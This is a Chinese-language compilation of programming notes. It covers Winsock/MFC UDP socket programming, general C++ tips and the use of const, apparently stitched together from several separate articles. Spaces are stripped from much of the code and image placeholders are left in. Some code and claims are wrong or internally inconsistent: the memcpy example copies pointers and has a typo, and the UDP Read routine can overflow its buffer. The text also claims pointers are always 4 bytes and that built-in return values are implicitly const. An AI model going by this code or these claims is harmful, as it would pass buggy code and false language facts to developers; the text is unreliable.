Intel处理器的字节顺序是和DEC VAX处理器的字节顺序一致的。因此它与68000型处理器以及Internet的顺序是不同的,所以用户在使用时要特别小心以保证正确的顺序。任何从Windows Sockets函数对IP地址和端口号的引用和传送给Windows Sockets函数的IP地址和端口号均是按照网络顺序组织的,这也包括了sockaddr_in结构这一数据类型中的IP地址域和端口域(但不包括sin_family域)。考虑到一个应用程序通常用与"时间"服务对应的端口来和服务器连接,而服务器提供某种机制来通知用户使用另一端口。因此getservbyname()函数返回的端口号已经是网络顺序了,可以直接用来组成一个地址,而不需要进行转换。然而如果用户输入一个数,而且指定使用这一端口号,应用程序则必须在使用它建立地址以前,把它从主机顺序转换成网络顺序(使用htons()函数)。相应地,如果应用程序希望显示包含于某一地址中的端口号(例如从getpeername()函数中返回的),这一端口号就必须在被显示前从网络顺序转换到主机顺序(使用ntohs()函数)。由于Intel处理器和Internet的字节顺序是不同的,上述的转换是无法避免的,应用程序的编写者应该使用作为Windows Sockets API一部分的标准的转换函数,而不要使用自己的转换函数代码。因为将来的Windows Sockets实现有可能在主机字节顺序与网络字节顺序相同的机器上运行。因此只有使用标准的转换函数的应用程序是可移植的。
在MFC中MS为套接口提供了相应的类CAsyncSocket和CSocket,CAsyncSocket提供基于异步通信的套接口封装功能,CSocket则是由CAsyncSocket派生,提供更加高层次的功能,例如可以将套接口上发送和接收的数据和一个文件对象(CSocketFile)关联起来,通过读写文件来达到发送和接收数据的目的,此外CSocket提供的通信为同步通信,数据未接收到或是未发送完之前调用不会返回。此外通过MFC类开发者可以不考虑网络字节顺序和忽略掉更多的通信细节。
在一次网络通信/连接中有以下几个参数需要被设置:本地IP地址 - 本地端口号 - 对方端口号 - 对方IP地址。 左边两部分称为一个半关联,当与右边两部分建立连接后就称为一个全关联。在这个全关联的套接口上可以双向的交换数据。如果是使用无连接的通信则只需要建立 一个半关联,在发送和接收时指明另一半的参数就可以了,所以可以说无连接的通信是将数据发送到另一台主机的指定端口。此外不论是有连接还是无连接的通信都 不需要双方的端口号相同。
在创建CAsyncSocket对象时通过调用 BOOL CAsyncSocket::Create( UINT nSocketPort = 0, int nSocketType = SOCK_STREAM, long lEvent = FD_READ | FD_WRITE | FD_OOB | FD_ACCEPT | FD_CONNECT | FD_CLOSE, LPCTSTR lpszSocketAddress = NULL )通过指明lEvent所包含的标记来确定需要异步处理的事件,对于指明的相关事件的相关函数调用都不需要等待完成后才返回,函数会马上返回然后在完成任务后发送事件通知,并利用重载以下成员函数来处理各种网络事件:
标记
事件
需要重载的函数
FD_READ
有数据到达时发生
void OnReceive( int nErrorCode );
FD_WRITE
有数据发送时产生
void OnSend( int nErrorCode );
FD_OOB
收到外带数据时发生
void OnOutOfBandData( int nErrorCode );
FD_ACCEPT
作为服务端等待连接成功时发生
void OnAccept( int nErrorCode );
FD_CONNECT
作为客户端连接成功时发生
void OnConnect( int nErrorCode );
FD_CLOSE
套接口关闭时发生
void OnClose( int nErrorCode );
我们看到重载的函数中都有一个参数nErrorCode,为零则表示正常完成,非零则表示错误。通过int CAsyncSocket::GetLastError()可以得到错误值。
下面我们看看套接口类所提供的一些功能,通过这些功能我们可以方便的建立网络连接和发送数据。
BOOL CAsyncSocket::Create( UINT nSocketPort = 0, int nSocketType = SOCK_STREAM, long lEvent = FD_READ | FD_WRITE | FD_OOB | FD_ACCEPT | FD_CONNECT | FD_CLOSE, LPCTSTR lpszSocketAddress = NULL );用于创建一个本地套接口,其中nSocketPort为使用的端口号,为零则表示由系统自动选择,通常在客户端都使用这个选择。nSocketType为使用的协议族,SOCK_STREAM表明使用有连接的服务,SOCK_DGRAM表明使用无连接的数据报服务。lpszSocketAddress为本地的IP地址,可以使用点分法表示如10.1.1.3。
BOOL CAsyncSocket::Bind( UINT nSocketPort, LPCTSTR lpszSocketAddress = NULL )作为等待连接方时产生一个网络半关联,或者是使用UDP协议时产生一个网络半关联。
BOOL CAsyncSocket::Listen( int nConnectionBacklog = 5 )作为等待连接方时指明同时可以接受的连接数,请注意不是总共可以接受的连接数。
BOOL CAsyncSocket::Accept( CAsyncSocket& rConnectedSocket, SOCKADDR* lpSockAddr = NULL, int* lpSockAddrLen = NULL )作为等待连接方将等待连接建立,当连接建立后一个新的套接口将被创建,该套接口将会被用于通信。
BOOL CAsyncSocket::Connect( LPCTSTR lpszHostAddress, UINT nHostPort );作为连接方发起与等待连接方的连接,需要指明对方的IP地址和端口号。
void CAsyncSocket::Close( );关闭套接口。
int CAsyncSocket::Send( const void* lpBuf, int nBufLen, int nFlags = 0 )
int CAsyncSocket::Receive( void* lpBuf, int nBufLen, int nFlags = 0 );在建立连接后发送和接收数据,nFlags为标记位,双方需要指明相同的标记。
int CAsyncSocket::SendTo( const void* lpBuf, int nBufLen, UINT nHostPort, LPCTSTR lpszHostAddress = NULL, int nFlags = 0 )
int CAsyncSocket::ReceiveFrom( void* lpBuf, int nBufLen, CString& rSocketAddress, UINT& rSocketPort, int nFlags = 0 );对于无连接通信发送和接收数据,需要指明对方的IP地址和端口号,nFlags为标记位,双方需要指明相同的标记。
我们可以看到大多数的函数都返回一个布尔值表明是否成功。如果发生错误可以通过int CAsyncSocket::GetLastError()得到错误值。
由于CSocket由CAsyncSocket派生所以拥有CAsyncSocket的所有功能,此外你可以通过BOOL CSocket::Create( UINT nSocketPort = 0, int nSocketType = SOCK_STREAM, LPCTSTR lpszSocketAddress = NULL )来创建套接口,这样创建的套接口没有办法异步处理事件,所有的调用都必需完成后才会返回。
在上面的介绍中我们看到MFC提供的套接口类屏蔽了大多数的细节,我们只需要做很少的工作就可以开发出利用网络进行通信的软件。
2 利用WinSock进行无连接的通信
WinSock提供了对UDP(用户数据报协议)的支持,通过UDP协议我们可以向指定IP地址的主机发送数据,同时也可以从指定IP地址的主机接收数据,发送和接收方处于相同的地位没有主次之分。利用CSocket操纵无连接的数据发送很简单,首先生成一个本地套接口(需要指明SOCK_DGRAM标记),然后利用int CAsyncSocket::SendTo( const void* lpBuf, int nBufLen, UINT nHostPort, LPCTSTR lpszHostAddress = NULL, int nFlags = 0 )发送数据, int CAsyncSocket::ReceiveFrom( void* lpBuf, int nBufLen, CString& rSocketAddress, UINT& rSocketPort, int nFlags = 0 )接收数据。函数调用顺序如图。
360pskdocImg_11_xyz
利用UDP协议发送和接收都可以是双向的,就是说任何一个主机都可以发送和接收数据。但是UDP协议是无连接的,所以发送的数据不一定能被接收,此外接收的顺序也有可能与发送顺序不一致。下面是相关代码:
//发送方在端口6800上向接收方端口6801发送数据
//发送方代码:
BOOL CMy62_s1_clientDlg::OnInitDialog()
{
CDialog::OnInitDialog();
//创建本地套接口
m_sockSend.Create(6800,SOCK_DGRAM,NULL);
//绑定本地套接口
m_sockSend.Bind(6800,"127.0.0.1");
//创建一个定时器定时发送
SetTimer(1,3000,NULL);
...
}
void CMy62_s1_clientDlg::OnTimer(UINT nIDEvent)
{
static iIndex=0;
char szSend[20];
sprintf(szSend,"%010d",iIndex++);
//发送UDP数据
int iSend= m_sockSend.SendTo(szSend,10,6801,"127.0.0.1",0);
TRACE("sent %d byten",iSend);
...
}
//接收方代码
BOOL CMy62_s1_serverDlg::OnInitDialog()
{
CDialog::OnInitDialog();
//创建本地套接口
m_sockRecv.Create(6801,SOCK_DGRAM,"127.0.0.1");
//绑定本地套接口
m_sockRecv.Bind(6801,"127.0.0.1");
//创建一个定时器定时读取
SetTimer(1,3000,NULL);
...
}
void CMy62_s1_serverDlg::OnTimer(UINT nIDEvent)
{
char szRecv[20];
CString szIP("127.0.0.1");
UINT uPort=6800;
//接收UDP数据
int iRecv =m_sockRecv.ReceiveFrom(szRecv,10,szIP,uPort,0);
TRACE("received %d byten",iRecv);
...
}
//收方采用同步读取数据的方式,所以没有读到数据函数调用将不会返回
UDP协议(User Datagram Protocol),即用户数据报协议,是定义用来在互连网络环境中提供包交换的计算机通信的协议。它是Internet上广泛采用的通信协议之一。 UDP协议直接位于IP协议的顶层,属于传输层协议,它提供向另一用户程序发送信息的最简便的协议机制。
与TCP协议不同,UDP协议是一个无连接协议,发送端和接收端不建立连接;UDP协议不提供数据传送的保证机制,可以说它是一种不可靠的传输协议;UDP协议也不能确保数据的发送和接收顺序,实际上,这种乱序性很少出现,通常只是在网络非常拥挤的情况下才可能发生。
既然UDP协议有着如此多的缺点,那么它存在的意义何在?其实正是由于UDP协议的这些缺点,才使得它具有许多TCP协议所望尘莫及的优势。TCP 协议植入的各种安全保障功能加大了执行过程中的系统开销,使速度受到严重的影响;而UDP不提供信息可靠传递机制,将安全和排序等功能移交给上层应用来完 成,极大地提高了执行速度。UDP协议执行速度快,适合视频、音频、文件等大规模数据的网络传输。
尽管UDP协议与TCP协议存在着巨大的差异,但程序设计的基本步骤还是差不多的。为了不再重复我在《WinSock API网络编程——TCP/IP协议》一文中的内容,这里将主要介绍UDP协议与TCP协议在程序设计上的不同之处。如果你是初学者,并且在阅读本文的时候还未阅读上文,那么建议你先看一下。
UDP协议不存在TCP协议中的服务端和客户端之分,相对于TCP协议的C/S模型,UDP协议的通信模型更为对称。在UDP协议网络通信中,根据 功能的不同,可以划分为发送端和接收端,但这种划分是一种动态的划分,而不是绝对的,同一个套接字在某一时刻发送数据,那么就是发送端,而在另一时刻接收 数据,那么就是接受端。也就是说,同一套接字既可以是发送端也可以是接收端。
另外,前面提到了UDP协议是一个无连接协议,这就是说,我们在编写基于UDP协议的网络通信程序时,不需要监听端口、请求连接、接受连接请求和断开连接。
UDP协议的对称性和无连接特性就决定了实现基于UDP协议的网络通信比实现基于TCP协议的网络通信在程序设计上要简单得多。但是,在实际应用中,由于UDP协议的不可靠性和无序性,往往需要由上层应用来完成安全和排序等功能。
以下将给出利用WinSock API实现基于UDP协议的网络编程的具体步骤和源代码。
(1) 初始化通信端口。可以在程序向导中添加Windows Sockets支持,或者直接添加代码:
#include <afxsock.h>
if (!AfxSocketInit())
{
AfxMessageBox("Windows 通信端口初始化失败!");
}
(2) 初始化Windows Sockets DLL。目前Winsock有两个版本,版本号分别为1.1和2.2,对应参数为0x101和0x202。
WSADATA wsaData;
if (WSAStartup(MAKEWORD(1,1), &wsaData) != 0)
{
AfxMessageBox("加载Windows Sockets DLL失败!");
WSACleanup();
}
(3) 创建流式套接字。请注意socket()函数的第二个参数相对于ICP协议有什么变化。
套接字族:
AF_UNIX: UNIX内部协议族
AF_INET: Iternet协议
AF_NS: XeroxNs协议
AF_IMPLINK: IMP链接层
套接字类型:
SOCK_STREAM:
流式套接字
SOCK_DGRAM:
数据报套接字
SOCK_RAW:
原始套接字
SOCK_SEQPACKET:
定序分组套接字
SOCKET m_Socket;
m_Socket = INVALID_SOCKET;
if ((m_Socket=socket(AF_INET, SOCK_DGRAM,0))== INVALID_SOCKET)
{
AfxMessageBox("创建套接字失败!");
}
(4) 服务端绑定端口。端口号范围:1024到65535,低于1024的端口对应着因特网上的一些常见服务。
struct sockaddr {
u_short sa_family;// 地址族地址族 address family
address family char sa_data[14]; // 14字节的协议地址 up to 14 bytes of direct address
};
typedef struct sockaddr SOCKADDR;
typedef struct sockaddr *PSOCKADDR;
typedef struct sockaddr FAR *LPSOCKADDR;
struct sockaddr_in {
short sin_family; // 地址族
u_short sin_port;// 端口号
struct in_addr sin_addr; // IP地址
char sin_zero[8]; // 填充0
};
typedef struct sockaddr_in SOCKADDR_IN;
typedef struct sockaddr_in *PSOCKADDR_IN;
typedef struct sockaddr_in FAR *LPSOCKADDR_IN;
字节顺序转换函数:
htons():"Host to Network Short"
htonl():"Host to Network long"
ntohs():"Network to Host Short"
ntohl():"Network to Host Long"
SOCKADDR_IN m_saAddr;
u_short m_nPort = 20049; // 端口号
ZeroMemory(&m_saAddr, sizeof(m_saAddr));
m_saAddr.sin_family = AF_INET;
m_saAddr.sin_port = htons(m_nPort); // 如果此值为0,系统将随机选择一个未被使用的端口号
m_saAddr.sin_addr.s_addr = INADDR_ANY; // 填入本机IP地址
if (bind(m_Socket, (LPSOCKADDR) &m_saAddr, sizeof(m_saAddr)) == SOCKET_ERROR)
{
AfxMessageBox("绑定端口失败!");
}
(5) 注册网络事件。
网络事件定义:
FD_READ: 网络数据包到达
FD_WRITE: 发送网络数据
FD_OOB: OOB数据到达
FD_ACCEPT: 收到连接请求
FD_CONNECT: 已建立连接
FD_CLOSE: 断开连接
FD_QOS: 服务质量(QoS)发生变化
FD_GROUP_QOS: 保留事件
FD_ROUTING_INTERFACE_CHANGE: 指定地址的路由接口发生变化
FD_ADDRESS_LIST_CHANGE: 本地地址变化
#define WM_NETWORK_EVENT WM_USER + 102
if (WSAAsyncSelect(m_Socket, m_hWnd, WM_NETWORK_EVENT, FD_READ) == SOCKET_ERROR)
{
AfxMessageBox("注册网络事件失败!");
}
(6) 处理网络事件。
afx_msg LRESULT OnNetworkEvent(WPARAM wParam, LPARAM lParam);
ON_MESSAGE(WM_NETWORK_EVEN, OnNetworkEvent)
LRESULT OnNetworkEvent(WPARAM wParam, LPARAM lParam)
{
switch (WSAGETSELECTEVENT(lParam))
{
case FD_READ:
// 接收数据
break;
}
return 0L;
}
(7) 读取数据。
BOOL Read(void)
{
int nBytesRead;
int nBufferLength;
int nEnd;
int nSpaceRemaining;
char chIncomingDataBuffer[4096];
SOCKADDR_IN m_saFromAddr;
int nLenght = sizeof(m_saFromAddr);
ZeroMemory(&m_saFromAddr, sizeof(SOCKADDR_IN));
nEnd = 0;
nBufferLength = sizeof(chIncomingDataBuffer);
nSpaceRemaining = sizeof(chIncomingDataBuffer);
nSpaceRemaining -= nEnd;
nBytesRead = recvfrom(m_Socket, (LPSTR) (chIncomingDataBuffer + nEnd), nSpaceRemaining, 0, (LPSOCKADDR) &m_saFromAddr, &nLenght);
nEnd += nBytesRead;
if (nBytesRead == SOCKET_ERROR)
{
AfxMessageBox("读取数据出错!")
return FALSE;
}
// IP地址:inet_ntoa(m_saFromAddr.sin_addr);
// 端口号:ntohs(m_saFromAddr.sin_port);
chIncomingDataBuffer[nEnd] = ‘ ‘;
if (lstrlen(chIncomingDataBuffer) != 0)
{
AfxMessageBox(chIncomingDataBuffer);
}
return TRUE;
}
(8) 发送数据。
BOOL Send(CString sIP, u_short nPort, CString sSendData)
{
DWORDdwIP;
SOCKADDR_IN saAddr;
if (m_Socket == INVALID_SOCKET)
{
AfxMessageBox("套接字不可用!");
return FALSE;
}
if ((dwIP = inet_addr(sIP)) == INADDR_NONE)
{
AfxMessageBox("无法获取目标IP!");
return FALSE;
}
saAddr.sin_family = AF_INET;
saAddr.sin_port = htons(nPort);
saAddr.sin_addr.s_addr = dwIP;
if (sendto(m_Socket, sSendData, sSendData.GetLength(), 0, (LPSOCKADDR) &saAddr, sizeof(saAddr)) == SOCKET_ERROR)
{
AfxMessageBox("发送数据失败!");
return FALSE;
}
return TRUE;
}
(9) 关闭套接字。
if (m_Socket != INVALID_SOCKET)
{
closesocket(m_Socket);
}
m_Socket = INVALID_SOCKET;
WSACleanup();
UDP协议真正的优势在于它具有TCP协议所不具备的功能,如:广播、多播和穿透NAT等等。
C++知识点
C++知识点
二、头文件的作用
加强安全检测
通过头文件可能方便地调用库功能,而不必关心其实现方式
三、*,&修饰符的位置
对于*和&修饰符,为了避免误解,最好将修饰符紧靠变量名
四、if语句
不要将布尔变量与任何值进行比较,那会很容易出错的。
整形变量必须要有类型相同的值进行比较
浮点变量最好少比点,就算要比也要有值进行限制
指针变量要和NULL进行比较,不要和布尔型和整形比较
五、const和#define的比较
const有数据类型,#define没有数据类型
个别编译器中const可以进行调试,#define不可以进行调试
在类中定义常量有两种方式
1、在类在声明常量,但不赋值,在构造函数初始化表中进行赋值;
2、用枚举代替const常量。
六、C++函数中值的传递方式
有三种方式:值传递(Passbyvalue)、指针传递(Passbypointer)、引用传递(Passbyreference)
voidfun(charc)//passbyvalue
voidfun(char*str)//passbypointer
voidfun(char&str)//passbyreference
如果输入参数是以值传递的话,最好使用引用传递代替,因为引用传递省去了临时对象的构造和析构
函数的类型不能省略,就算没有也要加个void
七、函数体中的指针或引用常量不能被返回
Char*func(void)
{
charstr[]="HelloWord";
//这个是不能被返回的,因为str是个指定变量,不是一般的值,函数结束后会被注销掉
returnstr;
}
函数体内的指针变量并不会随着函数的消亡而自动释放
八、一个内存拷贝函数的实现体
void*memcpy(void*pvTo,constvoid*pvFrom,size_tsize)
{
assert((pvTo!=NULL)&&(pvFrom!=NULL));
byte*pbTo=(byte*)pvTo;//防止地址被改变
byte*pbFrom=(byte*)pvFrom;
while(size-->0)
pbTo++=pbForm++;
returnpvTo;
}
九、内存的分配方式
分配方式有三种,请记住,说不定那天去面试的时候就会有人问你这问题
1、静态存储区,是在程序编译时就已经分配好的,在整个运行期间都存在,如全局变量、常量。
2、栈上分配,函数内的局部变量就是从这分配的,但分配的内存容易有限。
3、堆上分配,也称动态分配,如我们用new,malloc分配内存,用delete,free来释放的内存。
十、内存分配的注意事项
用new或malloc分配内存时,必须要对此指针赋初值。
用delete或free释放内存后,必须要将指针指向NULL
不能修改指向常量的指针数据
十一、内容复制与比较
//数组......
chara[]="HelloWord!";
charb[10];
strcpy(b,a);
if(strcmp(a,b)==0)
{}
//指针......
chara[]="HelloWord!";
char*p;
p=newchar[strlen(a)+1];
strcpy(p,a);
if(strcmp(p,a)==0)
{}
十二、sizeof的问题
记住一点,C++无法知道指针所指对象的大小,指针的大小永远为4字节
chara[]="HelloWorld!"
char*p=a;
count<<sizeof(a)<<end;//12字节
count<<sizeof(p)<<endl;//4字节
而且,在函数中,数组参数退化为指针,所以下面的内容永远输出为4
voidfun(chara[1000])
{
count<<sizeof(a)<<endl;//输出4而不是1000
}
十三、关于指针
1、指针创建时必须被初始化
2、指针在free或delete后必须置为NULL
3、指针的长度都为4字节
4、释放内存时,如果是数组指针,必须要释放掉所有的内存,如
char*p=newchar[100];
strcpy(p,"HelloWorld");
delete[]p;//注意前面的[]号
p=NULL;
5、数组指针的内容不能超过数组指针的最大容易。
如:
char*p=newchar[5];
strcpy(p,"HelloWorld");//报错目标容易不够大
delete[]p;//注意前面的[]号
p=NULL;
十四、关于malloc/free和new/delete
lmalloc/free是C/C+的内存分配符,new/delete是C++的内存分配符。
l注意:malloc/free是库函数,new/delete是运算符
lmalloc/free不能执行构造函数与析构函数,而new/delete可以
lnew/delete不能在C上运行,所以malloc/free不能被淘汰
l两者都必须要成对使用
lC++中可以使用_set_new_hander函数来定义内存分配异常的处理
十五、C++的特性
C++新增加有重载(overload),内联(inline),Const,Virtual四种机制
重载和内联:即可用于全局函数,也可用于类的成员函数;
Const和Virtual:只可用于类的成员函数;
重载:在同一类中,函数名相同的函数。由不同的参数决定调用那个函数。函数可要不可要Virtual关键字。和全局函数同名的函数不叫重载。如果在类中调用同名的全局函数,必须用全局引用符号::引用。
覆盖是指派生类函数覆盖基类函数
函数名相同;
参数相同;
基类函数必须有Virtual关键字;
不同的范围(派生类和基类)。
隐藏是指派生类屏蔽了基类的同名函数相同
1、函数名相同,但参数不同,此时不论基类有无Virtual关键字,基类函数将被隐藏。
2、函数名相同,参数也相同,但基类无Virtual关键字(有就是覆盖),基类函数将被隐藏。
内联:inline关键字必须与定义体放在一起,而不是单单放在声明中。
Const:const是constant的缩写,"恒定不变"的意思。被const修饰的东西都受到强制保护,可以预防意外的变动,能提高程序的健壮性。
1、参数做输入用的指针型参数,加上const可防止被意外改动。
2、按值引用的用户类型做输入参数时,最好将按值传递的改为引用传递,并加上const关键字,目的是为了提高效率。数据类型为内部类型的就没必要做这件事情;如:
将voidFunc(Aa)改为voidFunc(constA&a)。
而voidfunc(inta)就没必要改成voidfunc(constint&a);
3、给 返回值为指针类型的函数加上const,会使函数返回值不能被修改,赋给的变量也只能是const型变量。如:函数 constchar*GetString(void);char*str=GetString()将会出错。而 constchar*str=GetString()将是正确的。
4、Const成员函数是指此函数体内只能调用Const成员变量,提高程序的键壮性。如声明函数intGetCount(void)const;此函数体内就只能调用Const成员变量。
Virtual:虚函数:派生类可以覆盖掉的函数,纯虚函数:只是个空函数,没有函数实现体;
十六、extern"C"有什么作用?
Extern"C"是由C++提供的一个连接交换指定符号,用于告诉C++这段代码是C函数。这是因为C++编译后库中函数名会变得很长,与C生成的不一致,造成C++不能直接调用C函数,加上extren"c"后,C++就能直接调用C函数了。
Extern"C"主要使用正规DLL函数的引用和导出和在C++包含C函数或C头文件时使用。使用时在前面加上extern"c"关键字即可。
十七、构造函数与析构函数
派生类的构造函数应在初始化表里调用基类的构造函数;
派生类和基类的析构函数应加Virtual关键字。
不要小看构造函数和析构函数,其实编起来还是不容易。
#include<iostream.h>
classBase
{
public:
virtual~Base(){cout<<"~Base"<<endl;}
};
classDerived:publicBase
{
public:
virtual~Derived(){cout<<"~Derived"<<endl;}
};
voidmain(void)
{
Base*pB=newDerived;//upcast
deletepB;
}
输出结果为:
~Derived
~Base
如果析构函数不为虚,那么输出结果为
~Base
十八、#IFNDEF/#DEFINE/#ENDIF有什么作用
仿止该头文件被重复引用
封装,继承和虚函数(多态性)——OOP的三个要素
http://noshape.blogchina.com/
const使用详解
const使用详解
关于C++中的const关键字的用法非常灵活,而使用const将大大改善程序的健壮性,现将本人的一些体会总结如下,期望对大家有所帮助:
360pskdocImg_12_xyz 一 const基础
如果const关键字不涉及到指针,我们很好理解,下面是涉及到指针的情况:
int b = 500; const int* a = &b; [1] int const *a = &b;[2] int* const a = &b;[3] const int* const a = &b;[4] 如果你能区分出上述四种情况,那么,恭喜你,你已经迈出了可喜的一步。不知道,也没关系,我们可以参考《Effective c++》Item21上的做法,如果const位于星号的左侧,则const就是用来修饰指针所指向的变量,即指针指向为常量;如果const位于星号的 右侧,const就是修饰指针本身,即指针本身是常量。因此,[1]和[2]的情况相同,都是指针所指向的内容为常量(const放在变量声明符的位置无 关),这种情况下不允许对内容进行更改操作,如不能*a = 3 ;[3]为指针本身是常量,而指针所指向的内容不是常量,这种情况下不能对指针本身进行更改操作,如a++是错误的;[4]为指针本身和指向的内容均为常 量。
另外const 的一些强大的功能在于它在函数声明中的应用。在一个函数声明中,const 可以修饰函数的返回值,或某个参数;对于成员函数,还可以修饰是整个函数。有如下几种情况,以下会逐渐的说明用法: A& operator=(const A& a); void fun0(const A* a ); void fun1( ) const; // fun1( ) 为类成员函数 const A fun2( );360pskdocImg_13_xyz 二 const的初始化
先看一下const变量初始化的情况
1) 非指针const常量初始化的情况: A b; const A a = b; 2) 指针(引用)const常量初始化的情况: A* d = new A(); const A* c = d; 或者:const A* c = new A(); 引用: A f; const A& e = f; // 这样作e只能访问声明为const的函数,而不能访问一般的成员函数; [思考1]: 以下的这种赋值方法正确吗?
const A* c=new A();
A* e = c;
[思考2]: 以下的这种赋值方法正确吗?
A* const c = new A();
A* b = c;
360pskdocImg_14_xyz 三 作为参数和返回值的const修饰符
其实,不论是参数还是返回值,道理都是一样的,参数传入时候和函数返回的时候,初始化const变量
1 修饰参数的const,如 void fun0(const A* a ); void fun1(const A& a);
调 用函数的时候,用相应的变量初始化const常量,则在函数体中,按照const所修饰的部分进行常量化,如形参为const A* a,则不能对传递进来的指针的内容进行改变,保护了原指针所指向的内容;如形参为const A& a,则不能对传递进来的引用对象进行改变,保护了原对象的属性。
[注意]:参数const通常用于参数为指针或引用的情况;
2 修饰返回值的const,如const A fun2( ); const A* fun3( );
这样声明了返回值后,const按照"修饰原则"进行修饰,起到相应的保护作用。 const Rational operator*(const Rational& lhs, const Rational& rhs) { return Rational(lhs.numerator() * rhs.numerator(), lhs.denominator() * rhs.denominator()); } 返回值用const修饰可以防止允许这样的操作发生: Rational a,b; Radional c; (a*b) = c; 一般用const修饰返回值为对象本身(非引用和指针)的情况多用于二目操作符重载函数并产生新对象的时候。
[总结] 一般情况下,函数的返回值为某个对象时,如果将其声明为const时,多用于操作符的重载。通常,不建议用const修饰函数的返回值类型为某个对象或对某个对象引用的情况。
原因如下:
如 果返回值为某个对象为const(const A test = A 实例)或某个对象的引用为const(const A& test = A实例) ,则返回值具有const属性,则返回实例只能访问类A中的公有(保护)数据成员和const成员函数,并且不允许对其进行赋值操作,这在一般情况下很少 用到。
[思考3]: 这样定义赋值操作符重载函数可以吗?
const A& operator=(const A& a);
360pskdocImg_15_xyz 四 类成员函数中const的使用
一般放在函数体后,形如:void fun() const;
如果一个成员函数的不会修改数据成员,那么最好将其声明为const,因为const成员函数中不允许对数据成员进行修改,如果修改,编译器将报错,这大大提高了程序的健壮性。
360pskdocImg_16_xyz 五 使用const的一些建议
1 要大胆的使用const,这将给你带来无尽的益处,但前提是你必须搞清楚原委;
2 要避免最一般的赋值操作错误,如将const变量赋值,具体可见思考题;
3 在参数中使用const应该使用引用或指针,而不是一般的对象实例,原因同上;
4 const在成员函数中的三种用法(参数、返回值、函数)要很好的使用;
5 不要轻易的将函数的返回值类型定为const;
6除了重载操作符外一般不要将返回值类型定为对某个对象的const引用;
[思考题答案]
1 这种方法不正确,因为声明指针的目的是为了对其指向的内容进行改变,而声明的指针e指向的是一个常量,所以不正确;
2 这种方法正确,因为声明指针所指向的内容可变;
3 这种做法不正确;
在const A::operator=(const A& a)中,参数列表中的const的用法正确,而当这样连续赋值的时侯,问题就出现了:
A a,b,c:
(a=b)=c;
因为a.operator=(b)的返回值是对a的const引用,不能再将c赋值给const常量。
const用法
const主要是为了程序的健壮型,减少程序出错.
最基本的用法:
const int a=100; b的内容不变,b只能是100也就是声明一个int类型的常量(#define b =100)
int const b=100; //和上面作用一样
const指针和引用一般用在函数的参数中
int* m = &a; //出错,常量只能用常指针
int c= 1;const int*pc = &c;//常指针可指向常量
const int* pa = &a; //指针指向的内容为常量(就是b的值不变)
int const *a = &b; //指针指向的内容为常量(就是b的值不变)*p=3//error
int* const a = &b; //指针为常量,不能更改指针了如 a++但可以改值*p=3;
从这可以看出const放在*左侧修饰的是指针的内容,const放在*右侧修饰的是指针
本身.
const引用的用法和指针一样
int const & a=b; 和指针一样
const int& a=b; 和指针一样
但没有 int& const a=b 的用法因为引用不能做移位运算,但只是出个warning
const int* const a = &b; //综合应用,一般用来传递多维的数组
类如:char* init[] = {"Paris","in the","Spring"};
void fun(const int* const a){}
fun(init)//保护参数不被修改
int A(int)const; //是常函数,只能用在类中,调用它的对象不能改改变成员值
const int A(); //返回的是常量,所以必须这么调用 cosnt int a=A();
int A(const int); //参数不能改值,可用在任意函数
int A(const int*);
....
int height() const;//常函数只能由常函数调用
int max(int,int) const;
int Max = max(height(),height());
const int* pHeap = new int;
delete pHeap;
p = NULL;//出错
我的解决办法是强制类型转换
const int* pHeap = new int(1);
delete (int*)pHeap;
pHeap = NULL;
一、const 和引用联合使用的时候要注意
const int a = 1;
const int& ref1 = a;
const int& ref2 = 1;
ref1 和 ref2 都是正确的,但是他们引用的内容和一般的引用不同
对 const int& ref1 = a; 而言,其实这个 ref1 已经和 a 没有任何关系了
ref1 实际上是对一个临时量的引用。同理 const int& ref2 = 1; 也是对
一个临时量做的引用。当引用临时量是 C++ 的隐式类型转换可以起作用。
临时量的生存期和引用量的生存期相同。
二、强传const对象可能导致无定义行为
对于优化做的比较好的编译器,代码 const int i = 1;
当后面用到变量 i 的时候,编译器会优化掉对 i 的存取,而直接使用立即数 1
const int i = 1;
*(const_cast<int*>(&i)) = 2;
cout << *(int*)&i << endl;
cout << i << endl;
所以,对 const 对象做 const_cast 可能导致无定义行为
这个就是在调错时发现的
int height() const;//常函数只能由常函数调用
int max(int,int) const;
int Max = max(height(),height());
Thinking again in C++(一)常量性原理
1.不能将const修饰的任何对象、引用和指针作为赋值表达式的左值。
const int cx=100;
const int & rcx=cx;
const int * pcx=&cx;
cx=200; //error
rcx=200; //error
*pcx=200; //error
2.const类型的对象不能直接被non-const类型的别名所引用。
(1)不能将const类型的对象传递给non-const类型的引用。
const int cx=100;
int & rx=cx; //error
(2)不能将const类型的实参传递给形参为non-const类型引用的函数。
void f(int a)
{
}
void g(int & ra)
{
}
const int cx=100;
f(cx); //ok
g(cx); //error
(3)不能将const类型的对象作为non-const类型引用的函数返回值。
int & f(const int & rca)
{
return rca; //error
}
int x=100;
f(x);
3.可以使用const类型别名引用non-const对象。此时通过const引用不能修改对象,但对象可以通过non-const引用被修改。
int x=100;
int & rx=x;
const int & rcx=x; //ok
x=200;
rx=200;
rcx=200; //error
4.指针的属性有两个:指针的类型和指针本身的常量性。其中,指向const对象与指向non-const对象,是不同的指针类型。
int x=100;
const int * pcx=&x; //[1]
int * px=&x; //[2]
int y=100;
int * const cpy=&y; //[3]
int * py=&y; //[4]
[1][2]两个指针的类型不同;[3][4]两个指针的常量性不同。
对象与指向对象的指针的规则类似于对象与引用。即,const类型的对象不能直接被non-const类型的指针所指示(同2);可以使用const类型的指针指向non-const对象(同3)。
5.可以将相同类型(包括常量性)的const指针值赋给non-const指针。
int x=100;
int * px;
const int * pcx=&x;
px=pcx; //error
int * const cpx=&x;
px=cpx; //ok
6.若函数的返回值为内建类型或是指针,则该返回值自动成为const性质。但自定义类型则为non-const性质。
int f() //相当于返回const int
{
return 100;
}
int * g(int & ra) //相当于返回int * const
{
return &ra;
}
class CTest
{
int n;
public:
CTest(int n){this->n=n;}
};
CTest h() //返回的就是CTest
{
return CTest(200);
}
f()=200; //error
int x=100;
int y=200;
int * px=&x;
g(y)=px; //error
*g(y)=x; //ok,从这点可以看出g()返回的不是const int *
CTest t(100);
h()=t; //ok,但却是完全错误的、危险的做法
//所以h()的正确写法是返回const CTest
const int b=100; b的内容不变,b只能是100
int const b=100; b必须为int型,不能为其他类型?
这2句话的意思应该是一样的吧 , THINKING IN C++是这样说的
const int a=100; a的内容不变,a只能是100(同样不能类型转换)。
int const b=100; b必须为int型,不能为其他类型?(同样在使用中不能修改)。
所以a和b是一样的,称为整型常数,在使用中不能被修改,当然都不能转为其他类型了。
#include <iostream>
